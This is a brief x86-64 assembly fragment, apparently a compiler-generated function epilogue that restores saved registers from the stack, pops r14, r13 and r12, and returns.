mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret